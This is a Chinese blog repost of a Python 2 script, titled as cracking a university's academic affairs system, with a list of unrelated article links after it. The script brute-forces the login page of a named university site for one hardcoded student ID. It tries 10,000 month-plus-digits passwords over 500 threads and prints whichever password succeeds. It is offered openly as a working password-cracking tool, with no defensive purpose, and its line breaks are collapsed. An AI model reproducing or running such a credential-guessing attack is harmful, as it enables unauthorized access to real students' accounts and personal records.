博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
教务系统破解
阅读量:5956 次
发布时间:2019-06-19

本文共 2970 字,大约阅读时间需要 9 分钟。

来自 # -*- coding:utf-8 -*-# 破解教务网密码# 作者:华亮from HTMLParser import HTMLParserfrom Queue import Emptyfrom Queue import Queuefrom re import matchfrom sys import exitfrom urllib import urlencodeimport osimport reimport socketimport threadingimport timeimport urllibimport urllib2import shelve'''http://jw2005.scuteo.com/(ia032y45hn3tn2m2ezxkt0ia)/default2.aspx__VIEWSTATE:dDwtMTAzOTYzNjY2ODs7Pit1kfqVxl1q5R4HRuA4VpYXKQd6TextBox1:200930633044TextBox2:afsdfdsfdsfsdfdsRadioButtonList1:%D1%A7%C9%FA (unable to decode value)Button1:lbLanguage:dDwtMTAzOTYzNjY2ODs7Pit1kfqVxl1q5R4HRuA4VpYXKQd6'''GlobalPrintMutex = threading.Lock()queue = Queue()month = '08'remain = 0id = '200930635468'def connect(id, password):    global queue, stop    loginData = {
'__VIEWSTATE':'dDwtMTAzOTYzNjY2ODs7Pit1kfqVxl1q5R4HRuA4VpYXKQd6', 'TextBox1':id, 'TextBox2':password, 'RadioButtonList1':'%D1%A7%C9%FA', 'Button1':'', 'lbLanguage':''} postData = urlencode(loginData) req = urllib2.Request('http://jw2005.scuteo.com/(ia032y45hn3tn2m2ezxkt0ia)/default2.aspx') req.add_header('Origin', 'http://jw2005.scuteo.com') req.add_header('Referer', 'http://jw2005.scuteo.com/(ia032y45hn3tn2m2ezxkt0ia)/default2.aspx') req.add_data(postData) try: cookieFile = urllib2.HTTPCookieProcessor() opener = urllib2.build_opener(cookieFile) result = opener.open(req) return result.read().find('alert') <= 0 except: if not stop: queue.put(password) GlobalPrintMutex.acquire() print password, "Failed" GlobalPrintMutex.release() return False stop = Falseclass Tester(threading.Thread): def __init__(self): threading.Thread.__init__(self) def run(self): global queue, id, stop while 1: try: password = queue.get() except Empty: Sleep(1) continue if connect(id, password): stop = True GlobalPrintMutex.acquire() print '+' * 200 print password print '+' * 200 GlobalPrintMutex.release() exit() if stop: #print '+' * 100 return else: GlobalPrintMutex.acquire() print queue.qsize(), ": ", password GlobalPrintMutex.release() def main(): global queue for i in range(0, 10000): password = month + ('%4d' % i).replace(' ','0') queue.put(password) threads = [] for i in range(500): test = Tester() test.start() threads.append(test) for thread in threads: thread.join() if __name__ == '__main__': main()

转载地址:http://wkexx.baihongyu.com/

你可能感兴趣的文章
今 天看到我十年前的一篇技术文章,想到不知不觉学编程十多年了,,
查看>>
DOM(十四):代理检测和事件处理(跨浏览器)
查看>>
SqlServer存储过程调用接口
查看>>
ZOJ 3817Chinese Knot(The 2014 ACM-ICPC Asia Mudanjiang Regional First Round)
查看>>
一到十二月单词
查看>>
【算法】2 由股票收益问题再看分治算法和递归式
查看>>
Golang 笔记 2 函数、结构体、接口、指针
查看>>
Swift4 - 动态计算UITableView中tableHeaderView的高度 - 获取子控件高度和宽度
查看>>
java学习中,instanceof 关键字 和 final 关键字、值的传递(java 学习中的小记录)...
查看>>
数据结构 --- 线性表学习(php模拟)
查看>>
URAL 1081 Binary Lexicographic Sequence
查看>>
Codeforces 797B - Odd sum
查看>>
文章页调用栏目链接和栏目名称的方法
查看>>
Oracle数据库日期格式转换操作
查看>>
Play framework 2.0 -应用程序全局设置(转)
查看>>
如何将div高度填满剩余高度
查看>>
连通图
查看>>
Source insight 添加注释插件
查看>>
centos7下创建mysql5.6多实例
查看>>
go语言net包rpc远程调用的使用
查看>>